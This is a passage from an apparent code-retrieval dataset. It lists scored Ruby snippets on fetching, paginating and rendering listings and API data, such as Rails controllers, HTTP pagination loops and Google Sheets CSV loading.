listing[\"kind\"].eql? \"sell\"\n @sells.push Sell.new(listing[\"data\"])\n else if listing[\"kind\"].eql? \"book\"\n @books[listing[\"data\"][\"id\"]] = Edition.new(listing[\"data\"])\n end\n end\n end\n end", "title": "" }, { "docid": "d0d2a53680fa873941933679bfdb4f76", "score": "0.5833012", "text": "def featured_listings\n @listings = Listing.limit(5)\n render\n end", "title": "" }, { "docid": "5a329b06668a9458cdfda4e83cd3a311", "score": "0.5832498", "text": "def fetch; @data = pager.fetcher[self.begin, pager.per_page]; end", "title": "" }, { "docid": "1531dd520466c664fe1dbf8888f24393", "score": "0.58035445", "text": "def fetch\n following_and_me = following.map { |f| f['address'] } << me\n following_and_me.uniq.each do |address|\n address_finger = Thimbl::Finger.run address\n next if address_finger.nil? || address_finger.match(/Plan:\\s*(.*)/m).nil?\n address_plan = address_finger.match(/Plan:\\s*(.*)/m)[1].gsub(\"\\\\\\n\",'')\n data['plans'][address] = JSON.load( address_plan )\n end\n end", "title": "" }, { "docid": "3f0788e1c6fb09e5a73a929c5f3bdfa5", "score": "0.57875115", "text": "def serve_listing_data\n @listings = Listing.open.joins(:origin_loc).group(\"listings.id\").\n order(\"listings.created_at DESC\").find_with(params, @current_user, @current_community).select(\"listings.id, listing_type, category\")\n render :json => { :data => @listings }\n end", "title": "" }, { "docid": "466ada313bdaa480d88e705961088137", "score": "0.57674325", "text": "def detect_new_listings(page, last_loaded_listing_id) # returns ids of appropirated listings or []\n ids = page.search(\"input[name='ilIds']\").first.attr('value').split(',')\n ids.inject([]) do |r, e|\n if e > last_loaded_listing_id\n\t r << e\n\telse\n\t r\n\tend\n end\n end", "title": "" }, { "docid": "8ae9340448d521ed0e021ff8637dd690", "score": "0.5758611", "text": "def listings(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/listings/latest\", options: params.compact)\n end", "title": "" }, { "docid": "8ae9340448d521ed0e021ff8637dd690", "score": "0.5758611", "text": "def listings(**args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/listings/latest\", options: params.compact)\n end", "title": "" }, { "docid": "31dff0d77fe7f0c3344f59e220ef4396", "score": "0.57423615", "text": "def find_listings(after = nil)\n response = HTTParty.get(\"https://www.reddit.com/r/#{subreddit}/top.json?t=#{occurrence}&after=#{after}\")\n if response.ok? && response.dig(\"data\").present?\n data << response[\"data\"]\n find_listings(response.dig('data', 'after')) if response.dig('data', 'after').present?\n end\n end", "title": "" }, { "docid": "3d172f2f6ad3697270a869fd259c8044", "score": "0.57258487", "text": "def fetch_listing\n districts = district_name_and_permalink_hash \n district_permalink = districts.fetch(district.name) { \n raise \"Whoa, cannot fetch listing,-- #{district.name} -- not a park or general listing of resorts.\" \n }\n\n # Technical: Class (self) instead of an instance variable is used to access HTTParty params\n @listing = TouringPlansComFeed.get(district_permalink).parsed_response\n end", "title": "" }, { "docid": "381908c8894df40c0a70a1754c7f78c5", "score": "0.56982446", "text": "def fetch_all(qps=DEFAULT_QUERIES_PER_SECOND)\n response = execute\n items = response['items']\n\n while response['current_page'] < response['total_pages']\n self.page = response['current_page'] + 1\n response = execute\n items = items + response['items']\n \n sleep(1.0/DEFAULT_QUERIES_PER_SECOND)\n end\n\n return items\n end", "title": "" }, { "docid": "1f860ab717f0bc6c0a9e76768e470379", "score": "0.56923735", "text": "def fetch_with_pagination(connection, entity, per_page)\n offset = 0\n records = []\n\n begin\n set = handle_timeouts(MAX_TIMEOUTS, \"loading tasks (offset: #{offset})\") { connection.send(entity, offset, \"yes\", \"owner,coworker,reporter\") }\n\n records += set\n offset += per_page\n end until set.empty?\n\n records\nend", "title": "" }, { "docid": "8d245aff7ef03eaa5b3dbd997cde7946", "score": "0.5686783", "text": "def home\n @recent_listings = Listing.last(5)\n end", "title": "" }, { "docid": "5121cd3e5980210bd713b85a02b2a004", "score": "0.56649214", "text": "def fetch_latest_task_lists\n\t\tresponse = @client.execute(api_method: @gtasks.tasklists.list)\n\t\tputs \"***************** ERROR FETCHING TASK LISTS *****************\" if response.status != 200\n\t\tputs response.body\n\t\t@task_lists = response.data.items\n\tend", "title": "" }, { "docid": "868e7d4d052949898adb10fb1344f02e", "score": "0.5659224", "text": "def fetch_latest_everything\n\t\t@user_info = @client.execute(api_method: @info.userinfo.get).data\n\t\t@task_lists = @client.execute(api_method: @gtasks.tasklists.list).data.items\n\t\t@tasks = Hash.new\n\t\t@task_lists.each do |list|\n\t\t\t@tasks[list] = @client.execute(api_method: @gtasks.tasks.list, parameters: { 'tasklist' => list.id }).data.items\n\t\tend\n\t\treturn @user_info, @task_lists, @tasks\n\tend", "title": "" }, { "docid": "79950818a2d339c8a38e79df04832faf", "score": "0.56093484", "text": "def fetch_all\n fetch_many0(nil, Array)\n end", "title": "" }, { "docid": "6309274a3383738d953706e3bddebb0f", "score": "0.5601964", "text": "def listings\n return @listings ||= build_all_listings\n end", "title": "" }, { "docid": "6309274a3383738d953706e3bddebb0f", "score": "0.5601964", "text": "def listings\n return @listings ||= build_all_listings\n end", "title": "" }, { "docid": "6309274a3383738d953706e3bddebb0f", "score": "0.5601964", "text": "def listings\n return @listings ||= build_all_listings\n end", "title": "" }, { "docid": "fcd0d7a77e2a62c4a15e8162b47095d7", "score": "0.5553447", "text": "def fetch(params)\n Resque.logger.info \"Requestable.fetch received #{params.inspect}\"\n past = Time.now\n total = api_count(params)\n remain_requests = (total/250.to_f).ceil\n Resque.logger.info \"pages to request total: #{remain_requests}\"\n batch_num = (remain_requests / BATCH_SIZE.to_f).ceil\n Resque.logger.info \"batch number: #{batch_num}\"\n chap_start = 1\n chap_end = 0\n entity = params.fetch(:entity)\n Resque.logger.info \"entity name: #{entity}\"\n cache = $redis\n pages = []\n batch_num.times do\n entity_url = entity.pluralize\n if remain_requests > BATCH_SIZE\n chap_end += BATCH_SIZE\n remain_requests -= BATCH_SIZE\n else\n chap_end += remain_requests\n end\n hydra = Typhoeus::Hydra.new(max_concurrency: 30)\n\n chap_start.upto(chap_end) do |page|\n pages << page\n # queue up current batch\n request = Typhoeus::Request.new(\n \"https://api.rechargeapps.com/#{entity_url}?#{params[:query]}&limit=250&page=#{page}\",\n # followlocation: true,\n headers: HEADER\n )\n # error logging callbacks\n request.on_complete do |res|\n @used = res.headers['x-recharge-limit'].to_i\n if res.success?\n puts \"#{entity.upcase} request queued\"\n elsif res.timed_out?\n Resque.logger.error \"(HYDRA request) TIMED OUT: #{res.response_headers}\"\n elsif res.code.zero?\n Resque.logger.error \"(HYDRA request) Couldnt get an http response #{res.return_message}\"\n else\n Resque.logger.error(\"(HYDRA request) HTTP request failed: #{res.code}\")\n end\n end\n\n request.on_success do |res|\n # @used = res.headers['x-recharge-limit'].to_i\n # Resque.logger.info res.headers['x-recharge-limit']\n key = \"#{entity}_pull:#{Time.now.strftime(\"%Y%m%d\")}#{page.to_s.rjust(3, '0')}\"\n hash_set(cache, key, res.response_body)\n end\n\n hydra.queue(request)\n chap_start = chap_end\n end\n hydra.run\n batch_throttle(@used)\n end\n Resque.logger.info \"Pages iterated: #{pages.inspect}\"\n Resque.logger.info(\"RUN TIME per #{total} records: #{(Time.now - past)}\")\n end", "title": "" }, { "docid": "3413a2492b6f5d7e4d638ca4f83b6f07", "score": "0.55474484", "text": "def fetch\n end", "title": "" }, { "docid": "283b1cdf4f78ddb7fefa0de4d9277f1f", "score": "0.5534004", "text": "def fetch_articles(published_before: nil, limit_num: 6)\n if published_before\n articles = Article.includes(:outlet).where(outlet_name: following.pluck(:outlet_name))\n .where('articles.published_at < ?', published_before.to_datetime)\n else\n articles = Article.includes(:outlet).where(outlet_name: following.pluck(:outlet_name))\n end\n articles.limit(limit_num)\n end", "title": "" }, { "docid": "2d0b258c97ed7f9f1df3cd1180ca8e3d", "score": "0.5521213", "text": "def listing_bubble_multiple\n ids = params[:ids].split(\",\").map(&:to_i)\n\n @listings = if @current_user || !@current_community.private?\n @current_community.listings.where(listings: {id: ids}).order(\"listings.created_at DESC\")\n else\n []\n end\n\n if !@listings.empty?\n render :partial => \"homepage/listing_bubble_multiple\"\n else\n render :partial => \"bubble_listing_not_visible\"\n end\n end", "title": "" }, { "docid": "30b24f0a92c8a7f9dd1411b860d95ef4", "score": "0.55195814", "text": "def fetch; end", "title": "" }, { "docid": "30b24f0a92c8a7f9dd1411b860d95ef4", "score": "0.55195814", "text": "def fetch; end", "title": "" }, { "docid": "02cf82e595cceb75c78b787bdf526804", "score": "0.55115455", "text": "def fetch_sequential(collection, &block)\n results = []\n engine = @turn_on_engine ? @engine_klass.new(@config.domain, @config.cache_http) : nil\n collection&.each_slice(@config.download_batch_size) do |batch|\n batch.each do |item|\n batch_results = block.call(item, engine)&.flatten\n results += ( batch_results || [])\n end\n end\n results\n end", "title": "" }, { "docid": "177f9e8e41f7ff89196cd76075b7b06e", "score": "0.550981", "text": "def fetch_billing_results\n previous_response = nil\n begin\n page = get_page_number\n\n response = Select.fetch_billing_results(@start_timestamp, @end_timestamp,\n page, @page_size)\n unless !response.is_a?(Array)\n process_response(response)\n previous_response = response\n end\n end until !response.is_a?(Array)\n reset_page_number\n\n set_empty_last_fetch_soap_id(response, previous_response)\n end", "title": "" }, { "docid": "146c7a7f54465945ed1c3a2dcbaadbcf", "score": "0.5508314", "text": "def listings\n\t\t@current_user ||= User.find(session[:user_id]) if session[:user_id]\n\t\t@listings = Listing.find_all_by_user_id(@current_user)\n\tend", "title": "" }, { "docid": "8e460b49aaf510f9c86e4df0bee2b1a9", "score": "0.5508268", "text": "def fetch_with_pagination(connection, entity, per_page)\n offset = 0\n records = []\n page = 1\n\n begin\n log.info \" Requesting set #{page} (limit #{per_page}, offset #{offset})\"\n set = handle_timeouts(MAX_CONSECUTIVE_TIMEOUTS, \"loading tasks (offset: #{offset})\") { connection.send(entity, offset, \"yes\", \"owner,coworker,reporter\") }\n log.info \" Fetched #{set.size} records\"\n\n records += set\n offset += per_page\n page += 1\n end until set.size < per_page\n\n records\n end", "title": "" }, { "docid": "40a0de3c43b62e1aabd5330d68d13861", "score": "0.5506727", "text": "def fetch\n @results = []\n @http.start unless @http.started?\n @pairs.each do |pair|\n uri = URI(format(self.class.const_get(:ENDPOINT), pair))\n request = Net::HTTP::Get.new(uri)\n\n with_retry Net::HTTPBadResponse, JSON::ParserError do\n @results << [pair, JSON.parse(@http.request(request)&.body)]\n end\n end\n self\n end", "title": "" }, { "docid": "bff892c4855f9cd3b012b544d8231b09", "score": "0.55045176", "text": "def fetch\n @_fetch ||= begin\n path = @parent.build_request_path(@query_attrs)\n @parent.request(@query_attrs.merge(:_method => :get, :_path => path)) do |parsed_data, response|\n @parent.new_collection(parsed_data)\n end\n end\n end", "title": "" }, { "docid": "caf32e438f365028ad0ce9d5026e63a7", "score": "0.5502433", "text": "def index\n @listings = Listing.order('created_at DESC').limit(5)\n end", "title": "" }, { "docid": "ef9dcb9d5c1c1826dea2221d7d2879fd", "score": "0.54778147", "text": "def each\n loop do\n data = fetch\n\n if data\n yield data\n else\n break\n end\n end\n end", "title": "" }, { "docid": "d9bcbe010011ad98a110f9e6abb86f24", "score": "0.54670954", "text": "def listing_bubble_multiple\n @listings = Listing.visible_to(@current_user, @current_community, params[:ids])\n if @listings.size > 0\n render :partial => \"homepage/recent_listing\", :collection => @listings, :as => :listing, :spacer_template => \"homepage/request_spacer\"\n else\n render :partial => \"bubble_listing_not_visible\"\n end\n end", "title": "" }, { "docid": "439d94118a74c78d8a31629f2bb7d6c5", "score": "0.54378384", "text": "def fetch\n return if fetched?\n\n ranges = fetch_ranges\n\n # Select which byte ranges to download\n records = Forecaster.configuration.records.values\n filtered_ranges = records.map { |k| ranges[k] }\n\n fetch_grib2(filtered_ranges)\n end", "title": "" }, { "docid": "e24e06465008514c77c3de99b5f10c5e", "score": "0.5437767", "text": "def initialize()\n @listings = []\n end", "title": "" }, { "docid": "2f4ad632265bf276074dee9675355b56", "score": "0.5437726", "text": "def new_listings\n ll = listings\n return ll if self.last_alerted_at.nil?\n ll.select { |listing| listing.updated_at >= self.last_alerted_at }\n end", "title": "" }, { "docid": "b36e83eea4e66540d4c3d55092e88e67", "score": "0.5429766", "text": "def fetch\n infos = []\n client.search(url, query).take(limit).each do |result|\n response = Hashie::Mash.new(result.to_hash)\n infos << store_info(response)\n end \n infos.reject(&:blank?)\n #TODO: Exception need to handled\n rescue Twitter::Error\n Rails.logger.error(\"Twitter fetch throwing error check the connection\")\n end", "title": "" }, { "docid": "a7fb4213c4323ee27b34d3f68b0b6727", "score": "0.54092574", "text": "def fetch_latest\n page = page_with_latest_entries\n most_recent_new_entry = page.entries.first\n last_fetched_entry = @entry_cache.latest\n last_fetched_entry_seen = false \n next_entry = nil\n while !last_fetched_entry_seen && page\n page.entries.each do |entry|\n \n @entry_cache.write(entry, next_entry)\n if last_fetched_entry && entry.entry_id == last_fetched_entry.entry_id\n last_fetched_entry_seen = true\n break\n end\n\n next_entry = entry\n end\n page = page.next\n end\n \n @entry_cache.update_current_state(next_entry, most_recent_new_entry)\n @entry_cache.entries(next_entry, most_recent_new_entry)\n end", "title": "" }, { "docid": "f6b4a34c14c46885d86c0bbc52b15aba", "score": "0.54072547", "text": "def fetch_leads\n if @current_tab == \"interested\"\n leads = Lead.qualified_leads(params[:sSearch])\n elsif @current_tab == \"unassigned\"\n leads = Lead.open_leads(params[:sSearch])\n elsif @current_tab == \"won_leads\"\n leads = Lead.won_leads(params[:sSearch])\n elsif @current_tab == \"lost_leads\"\n leads = Lead.lost_leads(params[:sSearch])\n elsif @current_tab == \"junk\"\n leads = Lead.junk_leads(params[:sSearch])\n elsif @current_tab == \"my_leads\"\n leads = Lead.my_leads(@current_user, params[:sSearch])\n elsif @current_tab == \"all_leads\"\n leads = Lead.all_leads(params[:sSearch])\n end\n \n leads = leads.order(\"#{sort_column} #{sort_direction}\")\n leads = leads.page(page).per(per_page)\n end", "title": "" }, { "docid": "f66b1e172a42b3e3a6745752dba358ac", "score": "0.5407031", "text": "def fetch(key, page, page_size, record_klass, records_counter)\n page, page_size = process_page_params(page, page_size, record_klass)\n return [] if exceeds_max_pages?(page, page_size, records_counter)\n\n start, stop = get_range(page, page_size)\n rs = read_records(key, start, stop, record_klass)\n return rs if rs.present?\n\n if block_given?\n ActiveRecord::Base.with_advisory_lock(\"list/cache/#{key}/#{page}/#{page_size}\", timeout_seconds: 3) do\n rs = read_records(key, start, stop, record_klass)\n return rs if rs.present?\n\n records = yield\n return [] if records.blank?\n\n load_records(key, page, page_size, records, record_klass)\n end\n end\n end", "title": "" }, { "docid": "c44af1e3584e0cfa344ad5d54c1cd946", "score": "0.5406933", "text": "def fetch\n notify \"Downloading...\"\n @strategy.fetch\n extract\n end", "title": "" }, { "docid": "19763503ef6d1c4a0a05c87c76cb8139", "score": "0.5402344", "text": "def fetch\n sort = 'created_at DESC'\n\n case params[:sort_by]\n when 'recent'\n sort = 'created_at DESC'\n else\n\n end\n\n query = '%' + params[:query].downcase + '%'\n\n rooms = Room.where(\"LOWER(name) LIKE ?\", query)\n .order(sort)\n\n paginate json: rooms\n end", "title": "" }, { "docid": "bcceda291d4e852dff961490ae96be52", "score": "0.5400155", "text": "def fetch_open_stories\n stories = OpenStory.all.order('faved_at DESC')\n\n if params[:last_id]\n last_faved_at = Cequel.uuid(params[:last_id]).to_time\n stories = stories.where(\n 'faved_at < ?',\n last_faved_at - 1.second\n )\n end\n\n stories\n end", "title": "" }, { "docid": "9c928492b5b3c2b3a5f7c65bc1fc8e3a", "score": "0.53944427", "text": "def list_thing(thing)\n next_marker = nil\n things = []\n loop do\n response = waf.send(\"list_#{thing}\", next_marker: next_marker, limit: 10)\n things += response.send(thing)\n next_marker = response.next_marker\n break unless next_marker\n end\n things\n end", "title": "" }, { "docid": "bc0dd98009e6beb15b31f123fe33f448", "score": "0.5365647", "text": "def fetch!\n fetch0(Array, true)\n end", "title": "" }, { "docid": "59f490d098e991fbf368c0fbfbf79ff1", "score": "0.53556824", "text": "def fetch_with_limit\n start_result = 10\n start_result.step(RESULTS_LIMIT, 10) do |number|\n response = get_subdomains!(number)\n break unless response.items_present?\n end\n end", "title": "" }, { "docid": "4a79bd7f74ee447a993ffe6c0eca909a", "score": "0.5352863", "text": "def fetch(resource, params = {})\n method = :get\n page = 1\n\n params[:page] = page\n partial = request(resource, method, params)\n while partial.is_a?(Array) && !partial.empty?\n results ||= []\n results += partial\n page += 1\n params[:page] = page\n partial = request(resource, method, params)\n end\n\n results = partial unless partial.nil? || partial.empty?\n results\n end", "title": "" }, { "docid": "0ce31998cdffa4fdd4910342e105c199", "score": "0.5352559", "text": "def fetch_data(listing_id)\n Result.all(\n ->() {\n if listing_id.nil?\n Result::Error.new(\"No listing ID provided\")\n else\n Result::Success.new(listing_id)\n end\n },\n ->(l_id) {\n # TODO Do not use Models directly. The data should come from the APIs\n Maybe(@current_community.listings.where(id: l_id).first)\n .map { |listing_model| Result::Success.new(listing_model) }\n .or_else { Result::Error.new(\"Cannot find listing with id #{l_id}\") }\n },\n ->(_, listing_model) {\n # TODO Do not use Models directly. The data should come from the APIs\n Result::Success.new(listing_model.author)\n },\n ->(_, listing_model, *rest) {\n TransactionService::API::Api.processes.get(community_id: @current_community.id, process_id: listing_model.transaction_process_id)\n },\n ->(*) {\n Result::Success.new(MarketplaceService::Community::Query.payment_type(@current_community.id))\n }\n )\n end", "title": "" }, { "docid": "228b8e33131de92c20e8dd49879f4937", "score": "0.53383297", "text": "def get_entities(entity_name, opts = {}, last_synchronization_date = nil)\n with_token_refresh do\n batched_call = opts[:__skip] && opts[:__limit]\n query_params = build_query_params(batched_call, last_synchronization_date, opts)\n\n response = RestClient.get \"https://api.getbase.com/v2/#{entity_name.downcase.pluralize}?#{query_params.to_query}\", headers_get\n #the meta field is retrieved indipendently to avoid conflicting with DataParser\n meta = JSON.parse(response)['meta']\n\n #DataParser strips the response from 'items' and 'data' fields\n entities = DataParser.from_base_collection(response.body)\n #if both batched_call and last_synchronization_date are true the array is sliced\n #before the first entry that is older than last_synchronization_date.\n entities = only_updated_entities(entities, last_synchronization_date) if batched_call && last_synchronization_date\n\n unless batched_call\n while meta['links']['next_page']\n response = RestClient.get \"#{meta['links']['next_page']}\", headers_get\n entities.concat DataParser.from_base_collection(response.body)\n raise 'No response received while fetching subsequent page' unless response && !response.body.blank?\n break if last_synchronization_date && entities.last['updated_at'] < last_synchronization_date\n meta = JSON.parse(response)['meta']\n end\n end\n entities\n end\n rescue => e\n Maestrano::Connector::Rails::ConnectorLogger.log('warn', @organization, \"Error fetching entities\", {entity_name: entity_name, message: e.message, backtrace: e.backtrace})\n\n # Fetching Products without a correct subscription returns a 500 error\n return []\n end", "title": "" }, { "docid": "269fd0f88b1497fc33f18ee4e520be48", "score": "0.5325788", "text": "def fetch\n follows = Follow.where(follower_id: params[:user_id])\n paginate json: follows.to_json(:include => :following)\n end", "title": "" }, { "docid": "627864b198179a724a84d9f110331f96", "score": "0.53035545", "text": "def fetch_data(listing_id)\n Result.all(\n ->() {\n if listing_id.nil?\n Result::Error.new(\"No listing ID provided\")\n else\n Result::Success.new(listing_id)\n end\n },\n ->(listing_id) {\n # TODO Do not use Models directly. The data should come from the APIs\n Maybe(@current_community.listings.where(id: listing_id).first)\n .map { |listing_model| Result::Success.new(listing_model) }\n .or_else { Result::Error.new(\"Cannot find listing with id #{listing_id}\") }\n },\n ->(_, listing_model) {\n # TODO Do not use Models directly. The data should come from the APIs\n Result::Success.new(listing_model.author)\n },\n ->(_, listing_model, *rest) {\n TransactionService::API::Api.processes.get(community_id: @current_community.id, process_id: listing_model.transaction_process_id)\n },\n ->(*) {\n Result::Success.new(MarketplaceService::Community::Query.payment_type(@current_community.id))\n },\n )\n end", "title": "" }, { "docid": "d5ed305327a0a19c315239664b5d2708", "score": "0.52980787", "text": "def _fetch\n cache_get(:_fetch) || @opts[:fetch]\n end", "title": "" }, { "docid": "a877da583e99c3fb5701f8dab063d3f9", "score": "0.52749264", "text": "def fetch_needed?\n self.fetched_at.nil? or self.fetched_at < CONFIG[:page][:refetch_interval].seconds.ago\n end", "title": "" }, { "docid": "03611f5360f42dcc3ab28429b79a5937", "score": "0.5273968", "text": "def fetch!\n info \"FETCH\"\n Fetcher.run @dbi, @collections, @settings, @logger do |*args| update_db(*args) end # results will be passed to the update function\n end", "title": "" }, { "docid": "cab956a5681c05d3f498134761522fe0", "score": "0.5273903", "text": "def fetch\n super\n if [:followers, :followings, :repos].any? {|assoc| self.send(assoc).empty?}\n api_obj.fetch(:followers, :followings, :repos)\n @followers = @followings = @projects = nil\n end\n self\n end", "title": "" }, { "docid": "127bf972e3e6c87358f10de2b3cd8b7b", "score": "0.52703047", "text": "def layout_tables\n listings = @listings.sort { |a, b| a.price <=> b.price } \n increment = 200\n inc_count = 1\n\n results = [{\n price_limit: increment,\n listings: []\n }]\n\n listings.each do |listing|\n if listing.price <= increment*inc_count\n results[results.count-1][:listings].push(listing)\n else \n inc_count += 1 while increment*inc_count < listing.price\n results.push({\n price_limit: increment*inc_count,\n listings: [listing]\n })\n end\n end\n\n #Trim off first result item if there are no listings <= $200\n results = results.shift if(results[0][:listings].count == 0 && results.count > 1)\n\n return results\n end", "title": "" }, { "docid": "a1020061687771ac2f1d9010e047313c", "score": "0.5266553", "text": "def listings_to_badge\n return [] unless index_of_group_boundary_listing.present?\n\n cheapest_listings.take(index_of_group_boundary_listing + 1)\n end", "title": "" }, { "docid": "c38a15502798f3c2373afc7c8f91da05", "score": "0.5258032", "text": "def fetch(&block)\n block.call(true, 20)\n end", "title": "" }, { "docid": "2cd5028e3200f4dc13e672c0fd12c5ad", "score": "0.5255253", "text": "def temporary_fetch\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=2114410807&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 1)\n\n # Assessment 2\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=1657164873&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 2)\n\n # Assessment 3\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=1278939598&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 3)\n\n # Assessment 4\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=397189839&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 4)\n\n # Assessment 5\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=13824931&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 5)\n\n return Item.list\nend", "title": "" }, { "docid": "06296d5dc59535cd7e3adf00585f7171", "score": "0.52548146", "text": "def fetch\n @fetched_record = nil\n return nil if @index >= @records.size\n rec = @records[@index]\n @index += 1\n @fetched_record = rec\n return rec\n end", "title": "" }, { "docid": "6024449f39b82a25bf6e22f45b5f16ae", "score": "0.5254322", "text": "def fetch\n ##\n # an array of { category_id: number, news: array }\n @fetched = News.fetch_and_store_news_from_all_agency_feed!\n render :fetch, status: :ok\n end", "title": "" }, { "docid": "c419f87c56ca9dd46738c8934a2bdad8", "score": "0.5253471", "text": "def fetch\n fetch0(Array, false)\n end", "title": "" }, { "docid": "23b5781fcefa831435fbb22c20509567", "score": "0.5251987", "text": "def fetch_news(last_fetch = \"#{Date.today.to_s} 00:00:00\")\n x = build_news(parse_json(@filename), last_fetch)\n end", "title": "" }, { "docid": "142ad9db855313554101b25e4955e672", "score": "0.52513736", "text": "def fetch_all\n klass_name = Starwars.const_get(name.split('::').last).const_get('RESOURCE_NAME')\n object = Starwars.const_get(\"#{klass_name.capitalize}\").new(url: \"#{Starwars::Base::BASE_URL}/#{klass_name}/\")\n Starwars::Request.new(resource: object, uri: object.url, params: {}).perform_request\n end", "title": "" }, { "docid": "f70969c42ad7978734282dce960a4eb8", "score": "0.52499634", "text": "def get_more\n @options = {\n :includeFirst => false, :limit => 10, :fetch_mode => 'normal', :fetch_focus_id => 0,\n :handle => \".endless_scroll_inner_wrap\" \n }\n\n if params.has_key? :includeFirst then\n @options[:includeFirst] = params[:includeFirst] == 'true' ? true : false \n end\n\n if params.has_key? :fetch_mode then\n if params[:fetch_mode] == 'following' then\n @options[:fetch_mode] = 'following'\n elsif params[:fetch_mode] == 'followers' then\n @options[:fetch_mode] = 'followers'\n end\n end\n\n if params.has_key? :fetch_focus_id then\n @options[:fetch_focus_id] = params[:fetch_focus_id].to_i\n end\n\n if params.has_key? :handle then\n @options[:handle] = params[:handle]\n end\n\n upper = @options[:includeFirst] ? 0..params[:last_id].to_i : 0..(params[:last_id].to_i - 1)\n\n if @options[:fetch_mode] == 'normal' then\n @next_personas = Persona.where( :id => upper).order('id desc').limit(@options[:limit])\n elsif @options[:fetch_mode] == 'following' then\n persona = Persona.find(@options[:fetch_focus_id])\n @next_personas = Persona.where(\n :id => persona.followers.where(:tracked_object_type => 'persona', \n :tracked_object_id => upper ).pluck(:tracked_object_id) \n ).order('id desc').limit(@options[:limit])\n elsif @options[:fetch_mode] == 'followers' then\n persona = Persona.find(@options[:fetch_focus_id])\n @next_personas = Persona.where(:id => Follower.where(\n :tracked_object_id => persona.id, :tracked_object_type => 'persona').pluck(:persona_id)\n ).order('id desc').group(:id).having(:id => upper)\n end\n end", "title": "" }, { "docid": "e4bd5c1ee358ac949c5f1056695c5e68", "score": "0.5221848", "text": "def fully_fetched\n true\n end", "title": "" }, { "docid": "f3b7432e8c092722a6441b678ef97421", "score": "0.52210784", "text": "def after_fetch response, page\n super response, page\n update_counts(response) if (response && response.items)\n # p [response.items.map{|item| item['id']}.max, response.items.map{|item| item['id']}.min, prev_max, sess_span, response.parsed_contents.slice('max_id','next_page')]\n # p response.items.map{|item| (\"%6.2f\" % [Time.now - Time.parse(item['created_at'])])}\n end", "title": "" }, { "docid": "09afd32f1b3c2ee373fd034e00ebdd48", "score": "0.52210295", "text": "def fetch_libraries\n Library.limit(10)\n end", "title": "" }, { "docid": "ef690d5bde0584c43a4a85a6ddc72829", "score": "0.5211767", "text": "def all\n list = []\n page = 1\n fetch_all = true\n\n if @query.has_key?(:page)\n page = @query[:page]\n fetch_all = false\n end\n \n while true\n response = RestClient.get(@type.Resource, @query)\n data = response['data'] \n if !data.nil? && data.any?\n data.each {|item| list << @type.from_json(item)}\n \n if !fetch_all\n break\n else\n @query.merge!(page: page += 1)\n end\n else\n break\n end\n end\n\n return list\n end", "title": "" }, { "docid": "eea72fcb0638ddb6f3b8b4a49779a3bc", "score": "0.5206371", "text": "def fetch_request\n NSFetchRequest.new.tap do |req|\n req.predicate = predicate\n req.fetchLimit = limit if limit\n req.fetchOffset = offset if offset\n req.sortDescriptors = sort_descriptors unless sort_descriptors.empty?\n end\n end", "title": "" }, { "docid": "9ab6da32c7e84713f31f7117d1c3e038", "score": "0.51934206", "text": "def fetch\n sort = 'created_at DESC'\n\n case params[:sort_by]\n when 'recent'\n sort = 'created_at DESC'\n else\n\n end\n\n q = '%' + params[:query].downcase + '%'\n\n groups = Group.where(\"LOWER(name) LIKE ? OR LOWER(identifier) LIKE ? OR lower(tags) LIKE ?\", q, q, q)\n .order(sort)\n\n paginate json: groups\n end", "title": "" }, { "docid": "c2e2d97d6f3de10aaf543264b2f5b0ce", "score": "0.5192053", "text": "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "title": "" }, { "docid": "c2e2d97d6f3de10aaf543264b2f5b0ce", "score": "0.5192053", "text": "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "title": "" }, { "docid": "c2e2d97d6f3de10aaf543264b2f5b0ce", "score": "0.5192053", "text": "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "title": "" }, { "docid": "49f43c2e3ee3609df19559e12b06f5c4", "score": "0.5190251", "text": "def fetch(&block)\n link = @url\n\n until link.nil?\n document = retrieve(link)\n results = parse(document)\n link = results[:nextpage]\n entries = results[:entries]\n\n yield entries if block_given?\n end\n @results\n end", "title": "" }, { "docid": "49292a6fb475e9a47a709e8af012bb9a", "score": "0.5189655", "text": "def dashboard_listing_set(showings, client)\n dash_set = \n [#Newest Showing\n {title: \"Most Recent Showing\", div_link_id: \"recent\", attr_label: \"Asking Price: \",\n link_name: \"Oldest\", showings: showings.sort_by {|s| s.date}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"},\n {title: \"Oldest Showing\", div_link_id: \"recent\", attr_label: \"Asking Price: \",\n link_name: \"Most Recent\", showings: showings.sort_by {|s| s.date}.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"hide-div\"},\n #Purchase price….most expansive/least\n {title: \"Highest Asking Price\", div_link_id: \"asking\", attr_label: \"Asking Price: \",\n link_name: \"Lowest\", showings: showings.sort_by {|s| s.listing.asking_price}.reverse.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"\"},\n {title: \"Lowest Asking Price\", div_link_id: \"asking\", attr_label: \"Asking Price: \",\n link_name: \"Highest\", showings: showings.sort_by {|s| s.listing.asking_price}.take(3), \n attr: \"asking_price_str\", client: nil, hidden: \"hide-div\"}]\n \n if showings.select {|s| s.listing.condo_fees > 0 }.size > 0\n #Condo fees….Lowest to highest \n dash_set.concat([{title: 